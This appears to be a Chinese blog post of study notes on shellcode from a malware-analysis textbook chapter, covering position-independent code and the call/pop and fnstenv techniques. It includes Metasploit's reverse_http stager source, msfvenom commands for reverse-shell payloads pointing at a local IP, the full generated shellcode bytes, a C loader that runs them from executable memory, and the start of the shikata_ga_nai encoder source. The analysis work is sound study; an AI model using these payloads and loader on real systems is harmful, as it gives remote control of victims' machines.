美文网首页
恶意代码分析实战 第十九章 shellcode

恶意代码分析实战 第十九章 shellcode

作者: doinb1517 | 来源:发表于2022-09-18 01:16 被阅读0次

shellcode是指一个原始可执行代码的有效载荷。shellcode这个名字来源于攻击者通常会使用这段代码来获得被攻陷系统上交互式shell的访问权限。然而,时过境迁,现在这个术语通常被用于描述一段自包含的可执行代码。

加载shellcode进行分析

如何获取shellcode

shell-storm

link:https://shell-storm.org/shellcode/

storm.png

exploit-db

link:https://www.exploit-db.com/

这里面的shellcode就会少很多

exploit.png

cobaltstrike

使用CS生成shellcodemsf类似原理

msfvenom

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.204.128 LPORT=4466 -a x86 -f c
msfvenom.png

pwntools

link:https://docs.pwntools.com/en/stable/shellcraft.html

pwntool.png

位置无关代码

位置无关代码(PIC:position-independent code)又称地址无关可执行文件 (英文: position-independent executable,缩写为PIE),是指不使用硬编码地址来寻址指令或数据的代码。PIC广泛使用于共享库,使得同一个库中的代码能够被加载到不同进程的地址空间中。PIC还用于缺少内存管理单元的计算机系统中, 使得操作系统能够在单一的地址空间中将不同的运行程序隔离开来。shellcode就是位置无关代码。它不能假设自己在执行时会被加载到一个特定的内存位置,因为在运行时,一个脆弱程序的不同版本可能加载shellcode到不同内存位置。shellcode必须确定所有对代码和数据的内存访问都使用PIC技术。

bb.png

识别执行位置

Shellcode在以位置无关的方式访问数据时,需要解引用一个基址指针。用这个基址指针加上或减去偏移值,将使它安全访问shellcode中包含的数据。因为x86指令集不提供相对EIP的数据访问寻址,而仅对控制流指令提供EIP相对寻址,所以,一个通用寄存器必须首先载入当前指令指针值,作为基址指针来使用。

获取当前指令指针值可能并不那么简单便捷,因为在x86系统上的指令指针不能被软件直接访问。事实上,没法汇编这条mov eax, eip指令,直接向一个通用寄存器中载入当前指令指针。然而,shellcode使用两种普遍的技术解决这个问题:call/pop指令和fnstenv指令。

使用call/pop指令

当一个call指令被执行时,处理器将call后面的指令的地址压到栈上,然后转到被请求的位置进行执行。这个函数执行完后,会执行一个ret指令,将返回地址弹出到栈的顶部,并将它载入指令指针寄存器中。这样做的结果是执行刚好返回到call后面的指令。

当一个call指令被执行时,处理器将call后面的指令的地址压到栈上,然后转到被请求的位置进行执行。这个函数执行完后,会执行一个ret指令,将返回地址弹出到栈的顶部,并将它载入指令指针寄存器中。这样做的结果是执行刚好返回到call后面的指令。
shellcode可以通过在一个call指令后面立刻执行pop指令滥用这种通常约定,这会将紧跟call后面的地址载入指定寄存器中。

call.png

实际使用:

Link:matesploit中reverse_http

https://github.com/rapid7/metasploit-framework/blob/ec4c45f14531b4e935ab92b731db68b7c9d76f7c/lib/msf/core/payload/windows/reverse_http.rb

# -*- coding: binary -*-

module Msf

###
#
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S)
#
###

module Payload::Windows::ReverseHttp

  include Msf::Payload::TransportConfig
  include Msf::Payload::Windows
  include Msf::Payload::Windows::BlockApi
  include Msf::Payload::Windows::Exitfunk
  include Msf::Payload::UUID::Options

  #
  # Register reverse_http specific options
  #
  def initialize(*args)
    super
    register_advanced_options(
      [ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
      Msf::Opt::stager_retry_options +
      Msf::Opt::http_header_options +
      Msf::Opt::http_proxy_options
    )
  end

  #
  # Generate the first stage
  #
  def generate(opts={})
    ds = opts[:datastore] || datastore
    conf = {
      ssl:         opts[:ssl] || false,
      host:        ds['LHOST'] || '127.127.127.127',
      port:        ds['LPORT'],
      retry_count: ds['StagerRetryCount'],
      retry_wait:  ds['StagerRetryWait']
    }

    # Add extra options if we have enough space
    if self.available_space.nil? || (cached_size && required_space <= self.available_space)
      conf[:url]            = luri + generate_uri(opts)
      conf[:exitfunk]       = ds['EXITFUNC']
      conf[:ua]             = ds['HttpUserAgent']
      conf[:proxy_host]     = ds['HttpProxyHost']
      conf[:proxy_port]     = ds['HttpProxyPort']
      conf[:proxy_user]     = ds['HttpProxyUser']
      conf[:proxy_pass]     = ds['HttpProxyPass']
      conf[:proxy_type]     = ds['HttpProxyType']
      conf[:custom_headers] = get_custom_headers(ds)
    else
      # Otherwise default to small URIs
      conf[:url]        = luri + generate_small_uri
    end

    generate_reverse_http(conf)
  end

  #
  # Generate the custom headers string
  #
  def get_custom_headers(ds)
    headers = ""
    headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
    headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
    headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']

    if headers.length > 0
      headers
    else
      nil
    end
  end

  #
  # Generate and compile the stager
  #
  def generate_reverse_http(opts={})
    combined_asm = %Q^
      cld                    ; Clear the direction flag.
      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
      #{asm_block_api}
      start:
        pop ebp
      #{asm_reverse_http(opts)}
    ^
    Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
  end

  #
  # Generate the transport-specific configuration
  #
  def transport_config(opts={})
    transport_config_reverse_http(opts)
  end

  #
  # Generate the URI for the initial stager
  #
  def generate_uri(opts={})
    ds = opts[:datastore] || datastore
    uri_req_len = ds['StagerURILength'].to_i

    # Choose a random URI length between 30 and 255 bytes
    if uri_req_len == 0
      uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
    end

    if uri_req_len < 5
      raise ArgumentError, "Minimum StagerURILength is 5"
    end

    generate_uri_uuid_mode(:init_native, uri_req_len)
  end

  #
  # Generate the URI for the initial stager
  #
  def generate_small_uri
    generate_uri_uuid_mode(:init_native, 30)
  end

  #
  # Determine the maximum amount of space required for the features requested
  #
  def required_space
    # Start with our cached default generated size
    space = cached_size

    # Add 100 bytes for the encoder to have some room
    space += 100

    # Make room for the maximum possible URL length
    space += 256

    # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
    space += 31

    # Proxy options?
    space += 200

    # Custom headers? Ugh, impossible to tell
    space += 512

    # The final estimated size
    space
  end

  #
  # Convert a string into a NULL-terminated ASCII byte array
  #
  def asm_generate_ascii_array(str)
    (str.to_s + "\x00").
      unpack("C*").
      map{ |c| "0x%.2x" % c }.
      join(",")
  end

  #
  # Generate an assembly stub with the configured feature set and options.
  #
  # @option opts [Bool] :ssl Whether or not to enable SSL
  # @option opts [String] :url The URI to request during staging
  # @option opts [String] :host The host to connect to
  # @option opts [Integer] :port The port to connect to
  # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
  # @option opts [String] :proxy_host The optional proxy server host to use
  # @option opts [Integer] :proxy_port The optional proxy server port to use
  # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
  # @option opts [String] :proxy_user The optional proxy server username
  # @option opts [String] :proxy_pass The optional proxy server password
  # @option opts [String] :custom_headers The optional collection of custom headers for the payload.
  # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
  # @option opts [Integer] :retry_wait The seconds to wait before retry a new request
  #
  def asm_reverse_http(opts={})

    retry_count   = opts[:retry_count].to_i
    retry_wait   = opts[:retry_wait].to_i * 1000
    proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
    proxy_info    = ""

    if proxy_enabled
      if opts[:proxy_type].to_s.downcase == "socks"
        proxy_info << "socks="
      else
        proxy_info << "http://"
      end

      proxy_info << opts[:proxy_host].to_s
      if opts[:proxy_port].to_i > 0
        proxy_info << ":#{opts[:proxy_port]}"
      end
    end

    proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
    proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]

    custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])

    http_open_flags = 0
    secure_flags = 0

    if opts[:ssl]
      http_open_flags = (
        0x80000000 | # INTERNET_FLAG_RELOAD
        0x04000000 | # INTERNET_NO_CACHE_WRITE
        0x00400000 | # INTERNET_FLAG_KEEP_CONNECTION
        0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
        0x00080000 | # INTERNET_FLAG_NO_COOKIES
        0x00000200 | # INTERNET_FLAG_NO_UI
        0x00800000 | # INTERNET_FLAG_SECURE
        0x00002000 | # INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
        0x00001000 ) # INTERNET_FLAG_IGNORE_CERT_CN_INVALID

      secure_flags = (
        0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
        0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
        0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
        0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA
        0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION
    else
      http_open_flags = (
        0x80000000 | # INTERNET_FLAG_RELOAD
        0x04000000 | # INTERNET_NO_CACHE_WRITE
        0x00400000 | # INTERNET_FLAG_KEEP_CONNECTION
        0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
        0x00080000 | # INTERNET_FLAG_NO_COOKIES
        0x00000200 ) # INTERNET_FLAG_NO_UI
    end

    asm = %Q^
      ;-----------------------------------------------------------------------------;
      ; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
      ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
      ;-----------------------------------------------------------------------------;

      ; Input: EBP must be the address of 'api_call'.
      ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
      load_wininet:
        push 0x0074656e        ; Push the bytes 'wininet',0 onto the stack.
        push 0x696e6977        ; ...
        push esp               ; Push a pointer to the "wininet" string on the stack.
        push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
        call ebp               ; LoadLibraryA( "wininet" )
        xor ebx, ebx           ; Set ebx to NULL to use in future arguments
    ^

    asm << %Q^
    internetopen:
      push ebx               ; DWORD dwFlags
    ^
    if proxy_enabled
      asm << %Q^
        push esp               ; LPCTSTR lpszProxyBypass ("" = empty string)
      call get_proxy_server
        db "#{proxy_info}", 0x00
      get_proxy_server:
                               ; LPCTSTR lpszProxyName (via call)
        push 3                 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
      ^
    else
      asm << %Q^
        push ebx               ; LPCTSTR lpszProxyBypass (NULL)
        push ebx               ; LPCTSTR lpszProxyName (NULL)
        push ebx               ; DWORD dwAccessType (PRECONFIG = 0)
      ^
    end
    if opts[:ua].nil?
      asm << %Q^
        push ebx               ; LPCTSTR lpszAgent (NULL)
      ^
    else
      asm << %Q^
        push ebx               ; LPCTSTR lpszProxyBypass (NULL)
      call get_useragent
        db "#{opts[:ua]}", 0x00
                               ; LPCTSTR lpszAgent (via call)
      get_useragent:
      ^
    end
    asm << %Q^
      push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
      call ebp
    ^

    asm << %Q^
      internetconnect:
        push ebx               ; DWORD_PTR dwContext (NULL)
        push ebx               ; dwFlags
        push 3                 ; DWORD dwService (INTERNET_SERVICE_HTTP)
        push ebx               ; password (NULL)
        push ebx               ; username (NULL)
        push #{opts[:port]}    ; PORT
        call got_server_uri    ; double call to get pointer for both server_uri and
      server_uri:              ; server_host; server_uri is saved in EDI for later
        db "#{opts[:url]}", 0x00
      got_server_host:
        push eax               ; HINTERNET hInternet (still in eax from InternetOpenA)
        push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
        call ebp
        mov esi, eax           ; Store hConnection in esi
    ^

    # Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
    # doesn't set the Proxy-Authorization header on the CONNECT request.

    if proxy_enabled && proxy_user
      asm << %Q^
        ; DWORD dwBufferLength (length of username)
        push #{proxy_user.length}
        call set_proxy_username
      proxy_username:
        db "#{proxy_user}",0x00
      set_proxy_username:
                             ; LPVOID lpBuffer (username from previous call)
        push 43              ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
        push esi             ; hConnection
        push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
        call ebp
      ^
    end

    if proxy_enabled && proxy_pass
      asm << %Q^
        ; DWORD dwBufferLength (length of password)
        push #{proxy_pass.length}
        call set_proxy_password
      proxy_password:
        db "#{proxy_pass}",0x00
      set_proxy_password:
                             ; LPVOID lpBuffer (password from previous call)
        push 44              ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
        push esi             ; hConnection
        push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
        call ebp
      ^
    end

    asm << %Q^
      httpopenrequest:
        push ebx               ; dwContext (NULL)
        push #{"0x%.8x" % http_open_flags}   ; dwFlags
        push ebx               ; accept types
        push ebx               ; referrer
        push ebx               ; version
        push edi               ; server URI
        push ebx               ; method
        push esi               ; hConnection
        push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
        call ebp
        xchg esi, eax          ; save hHttpRequest in esi
     ^
    if retry_count > 0
      asm << %Q^
      ; Store our retry counter in the edi register
      set_retry:
        push #{retry_count}
        pop edi
      ^
    end

    asm << %Q^
      send_request:
    ^

    if opts[:ssl]
      asm << %Q^
      ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
      set_security_options:
        push 0x#{secure_flags.to_s(16)}
       mov eax, esp
        push 4                 ; sizeof(dwFlags)
        push eax               ; &dwFlags
        push 31                ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
        push esi               ; hHttpRequest
        push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
        call ebp
      ^
    end

    asm << %Q^
      httpsendrequest:
        push ebx               ; lpOptional length (0)
        push ebx               ; lpOptional (NULL)
    ^

    if custom_headers
      asm << %Q^
        push -1                ; dwHeadersLength (assume NULL terminated)
        call get_req_headers   ; lpszHeaders (pointer to the custom headers)
        db #{custom_headers}
      get_req_headers:
      ^
    else
      asm << %Q^
        push ebx               ; HeadersLength (0)
        push ebx               ; Headers (NULL)
      ^
    end

    asm << %Q^
        push esi               ; hHttpRequest
        push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
        call ebp
        test eax,eax
        jnz allocate_memory

     set_wait:
        push #{retry_wait}     ; dwMilliseconds
        push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
        call ebp               ; Sleep( dwMilliseconds );
      ^

    if retry_count > 0
      asm << %Q^
        try_it_again:
          dec edi
          jnz send_request

        ; if we didn't allocate before running out of retries, bail out
        ^
    else
      asm << %Q^
        try_it_again:
          jmp send_request

        ; retry forever
        ^
    end

    if opts[:exitfunk]
      asm << %Q^
    failure:
      call exitfunk
      ^
    else
      asm << %Q^
    failure:
      push 0x56A2B5F0        ; hardcoded to exitprocess for size
      call ebp
      ^
    end

    if defined?(read_stage_size?) && read_stage_size?
      asm << %Q^
    allocate_memory:
    read_stage_size:
      push ebx               ; temporary storage for stage size
      mov eax, esp           ; pointer to 4b buffer for stage size
      push ebx               ; temporary storage for bytesRead
      mov edi, esp           ; pointer to 4b buffer for bytesRead
      push edi               ; &bytesRead
      push 4                 ; bytes to read
      push eax               ; &stage size
      push esi               ; hRequest
      push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
      call ebp               ; InternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead)
      pop ebx                ; bytesRead (unused, pop for cleaning)
      pop ebx                ; stage size
      test eax,eax           ; download failed? (optional?)
      jz failure
      xor eax, eax
      push 0x40              ; PAGE_EXECUTE_READWRITE
      push 0x1000            ; MEM_COMMIT
      push ebx               ; Stage allocation
      push eax               ; NULL as we dont care where the allocation is
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    download_prep:
      xchg eax, ebx          ; place the allocated base address in ebx
      push ebx               ; store a copy of the stage base address on the stack (for ret later)
      push ebx               ; temporary storage for bytes read count
      mov edi, esp           ; &bytesRead
    download_more:
      push edi               ; &bytesRead
      push eax               ; read length
      push ebx               ; buffer
      push esi               ; hRequest
      push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
      call ebp
      test eax,eax           ; download failed? (optional?)
      jz failure
      pop eax                ; clear the temporary storage for bytesread
    ^
    else
      asm << %Q^
    allocate_memory:
      push 0x40              ; PAGE_EXECUTE_READWRITE
      push 0x1000            ; MEM_COMMIT
      push 0x00400000        ; Stage allocation (4Mb ought to do us)
      push ebx               ; NULL as we dont care where the allocation is
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    download_prep:
      xchg eax, ebx          ; place the allocated base address in ebx
      push ebx               ; store a copy of the stage base address on the stack
      push ebx               ; temporary storage for bytes read count
      mov edi, esp           ; &bytesRead

    download_more:
      push edi               ; &bytesRead
      push 8192              ; read length
      push ebx               ; buffer
      push esi               ; hRequest
      push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
      call ebp

      test eax,eax           ; download failed? (optional?)
      jz failure

      mov eax, [edi]
      add ebx, eax           ; buffer += bytes_received

      test eax,eax           ; optional?
      jnz download_more      ; continue until it returns 0
      pop eax                ; clear the temporary storage
      ^
      end
    asm << %Q^
    execute_stage:
      ret                    ; dive into the stored stage address

    got_server_uri:
      pop edi                //edi指向url
      call got_server_host

    server_host:
      db "#{opts[:host]}", 0x00
    ^

    if opts[:exitfunk]
      asm << asm_exitfunk(opts)
    end

    asm
  end

  #
  # Do not transmit the stage over the connection.  We handle this via HTTPS
  #
  def stage_over_connection?
    false
  end

  #
  # Always wait at least 20 seconds for this payload (due to staging delays)
  #
  def wfs_delay
    20
  end

end

end

可以使用msfvenom生成reverse_http 的shellcode,并使用Visual Stadio进行调试

# 生成shellcode
┌──(root💀kali)-[/home/kali]
└─# msfvenom -p windows/meterpreter/reverse_http lhost=192.168.204.128 lport=8888 --platform win -f c                     
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 589 bytes
Final size of c file: 2500 bytes
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26"
"\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\xe8\x52\x00\x00\x00"
"\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x4d\x61"
"\x63\x69\x6e\x74\x6f\x73\x68\x3b\x20\x49\x6e\x74\x65\x6c\x20"
"\x4d\x61\x63\x20\x4f\x53\x20\x58\x20\x31\x32\x2e\x32\x3b\x20"
"\x72\x76\x3a\x39\x37\x2e\x30\x29\x20\x47\x65\x63\x6b\x6f\x2f"
"\x32\x30\x31\x30\x30\x31\x30\x31\x20\x46\x69\x72\x65\x66\x6f"
"\x78\x2f\x39\x37\x2e\x30\x00\x68\x3a\x56\x79\xa7\xff\xd5\x53"
"\x53\x6a\x03\x53\x53\x68\xb8\x22\x00\x00\xe8\x10\x01\x00\x00"
"\x2f\x51\x48\x62\x54\x52\x74\x42\x35\x38\x49\x5a\x4a\x36\x30"
"\x6a\x71\x4b\x73\x74\x52\x30\x67\x5a\x48\x57\x59\x5a\x74\x39"
"\x64\x35\x6b\x76\x79\x47\x58\x41\x61\x4f\x53\x77\x43\x42\x79"
"\x33\x65\x5f\x7a\x75\x37\x31\x58\x2d\x4d\x2d\x58\x76\x77\x70"
"\x53\x77\x43\x53\x5f\x77\x35\x35\x43\x4b\x73\x6f\x52\x70\x49"
"\x59\x47\x31\x6b\x33\x6f\x4f\x6d\x7a\x67\x74\x51\x32\x6f\x33"
"\x75\x6d\x63\x58\x36\x5f\x67\x7a\x7a\x66\x4a\x79\x5f\x5a\x7a"
"\x7a\x68\x31\x76\x65\x56\x4f\x6a\x79\x52\x36\x55\x65\x54\x48"
"\x42\x73\x6a\x44\x69\x76\x7a\x4d\x4f\x50\x67\x4d\x32\x54\x78"
"\x79\x48\x33\x46\x4a\x30\x66\x6c\x30\x50\x39\x74\x30\x00\x50"
"\x68\x57\x89\x9f\xc6\xff\xd5\x89\xc6\x53\x68\x00\x02\x68\x84"
"\x53\x53\x53\x57\x53\x56\x68\xeb\x55\x2e\x3b\xff\xd5\x96\x6a"
"\x0a\x5f\x53\x53\x53\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85"
"\xc0\x75\x14\x68\x88\x13\x00\x00\x68\x44\xf0\x35\xe0\xff\xd5"
"\x4f\x75\xe1\xe8\x4c\x00\x00\x00\x6a\x40\x68\x00\x10\x00\x00"
"\x68\x00\x00\x40\x00\x53\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89"
"\xe2\xff\xd5\x85\xc0\x74\xcf\x8b\x07\x01\xc3\x85\xc0\x75\xe5"
"\x58\xc3\x5f\xe8\x7f\xff\xff\xff\x31\x39\x32\x2e\x31\x36\x38"
"\x2e\x32\x30\x34\x2e\x31\x32\x38\x00\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";


# 在VS中加载shellcode
#include "test.h"
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")

unsigned char shellcode[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26"
"\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\xe8\x52\x00\x00\x00"
"\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x4d\x61"
"\x63\x69\x6e\x74\x6f\x73\x68\x3b\x20\x49\x6e\x74\x65\x6c\x20"
"\x4d\x61\x63\x20\x4f\x53\x20\x58\x20\x31\x32\x2e\x32\x3b\x20"
"\x72\x76\x3a\x39\x37\x2e\x30\x29\x20\x47\x65\x63\x6b\x6f\x2f"
"\x32\x30\x31\x30\x30\x31\x30\x31\x20\x46\x69\x72\x65\x66\x6f"
"\x78\x2f\x39\x37\x2e\x30\x00\x68\x3a\x56\x79\xa7\xff\xd5\x53"
"\x53\x6a\x03\x53\x53\x68\xb8\x22\x00\x00\xe8\x10\x01\x00\x00"
"\x2f\x51\x48\x62\x54\x52\x74\x42\x35\x38\x49\x5a\x4a\x36\x30"
"\x6a\x71\x4b\x73\x74\x52\x30\x67\x5a\x48\x57\x59\x5a\x74\x39"
"\x64\x35\x6b\x76\x79\x47\x58\x41\x61\x4f\x53\x77\x43\x42\x79"
"\x33\x65\x5f\x7a\x75\x37\x31\x58\x2d\x4d\x2d\x58\x76\x77\x70"
"\x53\x77\x43\x53\x5f\x77\x35\x35\x43\x4b\x73\x6f\x52\x70\x49"
"\x59\x47\x31\x6b\x33\x6f\x4f\x6d\x7a\x67\x74\x51\x32\x6f\x33"
"\x75\x6d\x63\x58\x36\x5f\x67\x7a\x7a\x66\x4a\x79\x5f\x5a\x7a"
"\x7a\x68\x31\x76\x65\x56\x4f\x6a\x79\x52\x36\x55\x65\x54\x48"
"\x42\x73\x6a\x44\x69\x76\x7a\x4d\x4f\x50\x67\x4d\x32\x54\x78"
"\x79\x48\x33\x46\x4a\x30\x66\x6c\x30\x50\x39\x74\x30\x00\x50"
"\x68\x57\x89\x9f\xc6\xff\xd5\x89\xc6\x53\x68\x00\x02\x68\x84"
"\x53\x53\x53\x57\x53\x56\x68\xeb\x55\x2e\x3b\xff\xd5\x96\x6a"
"\x0a\x5f\x53\x53\x53\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85"
"\xc0\x75\x14\x68\x88\x13\x00\x00\x68\x44\xf0\x35\xe0\xff\xd5"
"\x4f\x75\xe1\xe8\x4c\x00\x00\x00\x6a\x40\x68\x00\x10\x00\x00"
"\x68\x00\x00\x40\x00\x53\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89"
"\xe2\xff\xd5\x85\xc0\x74\xcf\x8b\x07\x01\xc3\x85\xc0\x75\xe5"
"\x58\xc3\x5f\xe8\x7f\xff\xff\xff\x31\x39\x32\x2e\x31\x36\x38"
"\x2e\x32\x30\x34\x2e\x31\x32\x38\x00\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

void main()
{
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
}

生成二进制可执行文件后在IDA或者X32dbg中调试,跑到pop edi下一条命令时,shellcode已经使用call/pop手法将url指针加载到了edi寄存器

edi.png ws.png

使用fnstenv指令

x87浮点单元(FPU)在普通x86架构中提供了一个隔离的执行环境。它包含一个单独的专用寄存器集合,当一个进程正在使用FPU执行浮点运算时,这些寄存器需要由操作系统在上下文切换时保存。下图是被fstenv指令与fnstenv指令使用的28字节结构体,这个结构体在32位保护模式中执行时被用来保存FPU状态到内存中。

fpu.png

这里唯一影响使用的域是在字节偏移量12处的fpu_instruction_pointer。它将保留被FPU使用的最后一条CPU指令的地址,并为异常处理器标识哪条FPU指令可能导致错误上下文信息。需要这个域是因为FPU是与CPU并行运行的。如果FPU产生了一个异常,异常处理器不能简单地通过参照中断返回地址来标识导致这个错误的指令。

fsp1.png
fsp2.png

1处的fldz指令将浮点数0.0压到FPU栈上。fpu_instruction_pointer的值在FPU中被更新成指向fldz指令。执行在处的fnstenv指令,将FpuSaveState结构体保存到栈上的[esp-ech]处,这允许shellcode在处执行一个pop,将fpu_instruction_pointer的值载入EBX中。一旦这个pop执行,EBX会包含一个值,这个值指向这个内存中fldz指令的位置然后shellcode开始使用EBX作为一个基址寄存器访问嵌入到代码中的数据。

msfvenom中的的编码器shikata_ga_nai也利用了此原理

Link;https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/poly'

class MetasploitModule < Msf::Encoder::XorAdditiveFeedback

  # The shikata encoder has an excellent ranking because it is polymorphic.
  # Party time, excellent!
  Rank = ExcellentRanking

  def initialize
    super(
      'Name'             => 'Polymorphic XOR Additive Feedback Encoder',
      'Description'      => %q{
        This encoder implements a polymorphic XOR additive feedback encoder.
        The decoder stub is generated based on dynamic instruction
        substitution and dynamic block ordering.  Registers are also
        selected dynamically.
      },
      'Author'           => 'spoonm',
      'Arch'             => ARCH_X86,
      'License'          => MSF_LICENSE,
      'Decoder'          =>
        {
          'KeySize'    => 4,
          'BlockSize'  => 4
        })
  end

  #
  # Generates the shikata decoder stub.
  #
  def decoder_stub(state)

    # If the decoder stub has not already been generated for this state, do
    # it now.  The decoder stub method may be called more than once.
    if (state.decoder_stub == nil)

      # Sanity check that saved_registers doesn't overlap with modified_registers
      if (modified_registers & saved_registers).length > 0
        raise BadGenerateError
      end

      # Shikata will only cut off the last 1-4 bytes of it's own end
      # depending on the alignment of the original buffer
      cutoff = 4 - (state.buf.length & 3)
